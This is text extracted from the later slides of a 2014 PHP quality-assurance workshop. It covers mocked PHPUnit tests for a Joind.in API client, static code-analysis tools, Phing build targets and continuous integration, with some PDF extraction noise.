JoindinTest<?php class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin();         $client = new Zend_Http_Client(); "        $client->setAdapter(new Zend_Http_Client_Adapter_Test()); "        $this->_joindin->setClient($client);" $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; } }

Page 118: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

JoindinUserMockTestpublic function testJoindinCanGetUserDetails() {     $response = <<<EOS !HTTP/1.1 200 OK !Content-type: text/xml !!<?xml version="1.0"?> !<response> !  <item> !    <username>DragonBe</username> !    <full_name>Michelangelo van Dam</full_name> !    <ID>19</ID> !    <last_login>1303248639</last_login> !  </item> !</response>         !EOS; !    $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>';! $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); }

Page 119: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

JoindinStatusMockTestpublic function testJoindinCanCheckStatus() !{ !    $date = new DateTime(); !    $date->setTimezone(new DateTimeZone('UTC')); !    $response = <<<EOS "HTTP/1.1 200 OK "Content-type: text/xml "!<?xml version="1.0"?> "<response> "  <dt>{$date->format('r')}</dt> "  <test_string>testing unit test</test_string> "</response>         "EOS; "    $client = $this->_joindin->getClient() "                             ->getAdapter()->setResponse($response); !    $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; !    $actual = $this->_joindin->site()->getStatus('testing unit test'); !    $this->assertXmlStringEqualsXmlString($expected, $actual); !}

Page 120: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Good implementation?

Page 121: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Exercise

• Get the JoindIn API client from GitHub - see https://github.com/DragonBe/joindin-client

• Replace the current HTTP client adapter by a TEST adapter

• Provide the data for response • Run TEST to see difference

!

• NOTE: this client is already upgraded to v2.1

Page 122: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Testing it all

Page 123: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Testing it all

Page 124: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Our progress report

Page 125: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Conclusion

Page 126: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

• unit testing is simple • combine integration tests with unit tests • test what counts • mock out what’s remote

Page 127: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Fork this code

http://github.com/DragonBe/zftest

Page 128: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Measuring

Page 129: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Code Analysis

Page 130: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Questions

• how stable is my code? • how flexible is my code? • how complex is my code? • how easy can I refactor my code?

Page 131: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Answers

• PHPDepend - Dependency calculations • PHPMD - Mess detections and code “smells” • PHPCPD - Copy/paste detection • PHPCS - PHP_CodeSniffer

Page 132: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

PHP Depend

Page 133: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

What?

• generates metrics • measure health • identify parts to improve (refactor)

Page 134: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

pdepend pyramid

Page 135: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

• CYCLO: Cyclomatic Complexity • LOC: Lines of Code • NOM: Number of Methods • NOC: Number of Classes • NOP: Number of Packages • AHH: Average Hierarchy Height • ANDC: Average Number of Derived Classes

!

• FANOUT: Number of Called Classes • CALLS: Number of Operation Calls

Page 136: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Cyclomatic Complexity

• metric calculation • execution paths • independent control structures - if, else, for, foreach, switch case, while, do, …

• within a single method or function • more info - http://en.wikipedia.org/wiki/

Cyclomatic_complexity

Page 137: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Average Hierarchy Height

The average of the maximum length from a root class to its deepest subclass

Page 138: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

pdepend pyramid

Inheritance

few classes derived from other classes

lots of classes inherit from other classes

Page 139: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

pdepend pyramid

Size and complexity

Page 140: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

pdepend pyramid

Coupling

Page 141: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

pdepend pyramid

High value

Page 142: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

pdepend-graph

graph  about  stability:  a  mix  between  abstract  and  concrete  classes

Page 143: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014
Page 144: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014
Page 145: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

PHP  Depend

Page 146: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

PHP Mess Detection

Page 147: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

What?

• detects code smells - possible bugs - sub-optimal code - over complicated expressions - unused parameters, methods and properties - wrongly named parameters, methods or properties

Page 148: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

PHPMD  in  acFon

Page 149: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

PHP Copy/Paste Detection

Page 150: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

What?

• detects similar code snippets - plain copy/paste work - similar code routines

• indicates problems - maintenance hell - downward spiral of disasters

• stimulates improvements - refactoring of code - moving similar code snippets in common routines

Page 151: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

PHP CodeSniffer

Page 152: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Required evil

• validates coding standards - consistency - readability

• set as a policy for development • reports failures to meet the standard - sometimes good: parentheses on wrong line - mostly bad: line exceeds 80 characters ❖ but needed for terminal viewing of code

• can be set as pre-commit hook - but can cause frustration!!!

Page 153: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Performance Analysis

Page 154: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

https://twitter.com/#!/andriesss/status/189712045766225920

Page 155: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Automating

Page 156: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Key reason

“computers are great at doing repetitive tasks very well”

Page 157: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Repetition

• syntax checking • documenting • testing • measuring

Page 158: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014
Page 159: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Why Phing?

• php based (it’s already on our system) • open-source • supported by many tools • very simple syntax • great documentation

Page 160: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Structure of a build<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

Page 161: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

Structure of a build

<project name="Application build" default="phplint">

Page 162: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

Structure of a build

<!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" />

Page 163: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

Structure of a build

<!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset>

Page 164: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

Structure of a build

<!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target>

Page 165: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

Structure of a build

</project>

Page 166: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

build.propertiesproject.title=WeCycle phpbook:qademo dragonbe$ cat build.properties # General settings project.website=http://wecycle.local project.title=WeCycle !# AB Testing properties abrequests=1000 abconcurrency=10

Page 167: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

local.propertiesproject.website=http://qademo.local abrequests=1000 abconcurrency=10 !db.username=qademo_user db.password=v3rRyS3crEt db.hostname=127.0.0.1 db.dbname=qademo

Page 168: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Let’s  run  it

Page 169: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Artifacts

• some tools provide output we can use later • called “artifacts” • we need to store them somewhere • so we create a prepare target • that creates these artifact directories (./build) • that gets cleaned every run

Page 170: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Prepare for artifacts <target name="prepare" description="Clean up the build path"> <delete dir="${project.basedir}/build" quiet="true" /> <mkdir dir="${project.basedir}/build" /> <mkdir dir="${project.basedir}/build/docs" /> <mkdir dir="${project.basedir}/build/logs" /> <mkdir dir="${project.basedir}/build/coverage" /> <mkdir dir="${project.basedir}/build/pdepend" /> <mkdir dir="${project.basedir}/build/browser" /> </target>

Page 171: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

phpdoc2 <target name="phpdoc2" description="Generating automated documentation"> <property name="doc.title" value="${project.title} API Documentation"/> <exec command="/usr/bin/phpdoc -d application/,library/In2it -e php -t ${project.basedir}/build/docs --title=&quot;${doc.title}&quot;" dir="${project.basedir}" passthru="true" /> </target>

Page 172: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

PHPUnit <target name="phpunit" description="Running unit tests"> <exec command="/usr/bin/phpunit --coverage-html ${project.basedir}/build/coverage --coverage-clover ${project.basedir}/build/logs/clover.xml --log-junit ${project.basedir}/build/logs/junit.xml" dir="${project.basedir}/tests" passthru="true" /> </target>

Page 173: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

PHP_CodeSniffer <target name="phpcs" description="Validate code with PHP CodeSniffer"> <exec command="/usr/bin/phpcs --report=checkstyle --report-file=${project.basedir}/build/logs/checkstyle.xml --standard=Zend --extensions=php application library/In2it" dir="${project.basedir}" passthru="true" /> </target>

Page 174: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Copy Paste Detection <target name="phpcpd" description="Detect copy/paste with PHPCPD"> <phpcpd> <fileset refid="phpfiles" /> <formatter type="pmd" outfile="${project.basedir}/build/logs/pmd-cpd.xml" /> </phpcpd> </target>

Page 175: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

PHP Mess Detection <target name="phpmd" description="Mess detection with PHPMD"> <phpmd> <fileset refid="phpfiles" /> <formatter type="xml" outfile="${project.basedir}/build/logs/pmd.xml" /> </phpmd> </target>

Page 176: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

PHP Depend <target name="pdepend" description="Dependency calculations with PDepend"> <phpdepend> <fileset refid="phpfiles" /> <logger type="jdepend-xml" outfile="${project.basedir}/build/logs/jdepend.xml" /> <logger type="phpunit-xml" outfile="${project.basedir}/build/logs/phpunit.xml" /> <logger type="summary-xml" outfile="${project.basedir}/build/logs/pdepend-summary.xml" /> <logger type="jdepend-chart" outfile="${project.basedir}/build/pdepend/pdepend.svg" /> <logger type="overview-pyramid" outfile="${project.basedir}/build/pdepend/pyramid.svg" /> </phpdepend> </target>

Page 177: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

PHP CodeBrowser <target name="phpcb" description="Code browser with PHP_CodeBrowser"> <exec command="/usr/bin/phpcb -l ${project.basedir}/build/logs -S php -o ${project.basedir}/build/browser" dir="${project.basedir}" passthru="true"/> </target>

Page 178: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Create a build procedure <target name="build" description="Building app"> <phingCall target="prepare" /> <phingCall target="phplint" /> <phingCall target="phpunit" /> <phingCall target="phpdoc2" /> <phingCall target="phpcs" /> <phingCall target="phpcpd" /> <phingCall target="phpmd" /> <phingCall target="pdepend" /> <phingCall target="phpcb" /> </target>

Page 179: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Other things to automate

• server stress-testing with Apache Benchmark • database deployment with DBDeploy • package code base with Phar • transfer package to servers with - FTP/SFTP - scp/rsync

• execute remote commands with SSH • … so much more

Page 180: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Example DBDeploy <target name="dbdeploy" description="Update the DB to the latest version"> ! <!-- set the path for mysql execution scripts --> <property name="dbscripts.dir" value="${project.basedir}/${dbdeploy.scripts}" /> ! <!-- process the DB deltas --> <dbdeploy url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" dir="${dbscripts.dir}/deltas" outputfile="${dbscripts.dir}/all-deltas.sql" undooutputfile="${dbscripts.dir}/undo-all-deltas.sql"/> ! <!-- execute deltas --> <pdosqlexec url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" src="${dbscripts.dir}/all-deltas.sql"/> </target>

Page 181: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Build  it

Page 182: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Continuous Integration

Page 183: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014
Page 184: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014
Page 185: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014
Page 186: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014
Page 187: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014
Page 188: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014
Page 189: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014
Page 190: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014
Page 191: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Now you are a winner!

Page 192: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Team Works!

Page 193: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014
Page 194: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014
Page 195: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014
Page 196: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014
Page 197: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014
Page 198: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Conclusion

Page 199: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Get your information in a consistent, automated way

and make it accessible for the team !

More people can better safeguard the code!

Page 200: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Recommended  reading

• the  PHP  QA  book  -­‐ SebasFan  Bergmann  -­‐ Stefan  Priebsch

Page 201: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Recommended  reading

• OOD  Quality  Metrics  -­‐ Robert  Cecil  MarFn

Free

h@p://www.objectmentor.com/publicaFons/oodmetrc.pdf

Page 202: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Feedback/Questions

Michelangelo van Dam !

[email protected] !

@DragonBe

Page 203: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

joind.in/11833

If you enjoyed this tutorial, thank you If not, tell me how to make it better

Page 204: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

Thank you

Page 205: Workshop: Quality Assurance for PHP Projects - PHPCon Poland 2014

CreditsI’d like to thank the following people for sharing their creative commons pictures michelangelo: http://www.flickr.com/photos/dasprid/5148937451 birds: http://www.flickr.com/photos/andyofne/4633356197 safeguarding: http://www.flickr.com/photos/infidelic/4306205887/ bugs: http://www.flickr.com/photos/goingslo/4523034319 behaviour: http://www.flickr.com/photos/yuan2003/1812881370 prevention: http://www.flickr.com/photos/robertelyov/5159801170 progress: http://www.flickr.com/photos/dingatx/4115844000 workout: http://www.flickr.com/photos/aktivioslo/3883690673 measurement: http://www.flickr.com/photos/cobalt220/5479976917 team spirit: http://www.flickr.com/photos/amberandclint/3266859324 time: http://www.flickr.com/photos/freefoto/2198154612 continuous reporting: http://www.flickr.com/photos/dhaun/5640386266 deploy packages: http://www.flickr.com/photos/fredrte/2338592371 race cars: http://www.flickr.com/photos/robdunckley/3781995277 protection dog: http://www.flickr.com/photos/boltofblue/5724934828 gears: http://www.flickr.com/photos/freefoto/5982549938 1st place: http://www.flickr.com/photos/evelynishere/3417340248 elephpant: http://www.flickr.com/photos/drewm/3191872515 !!!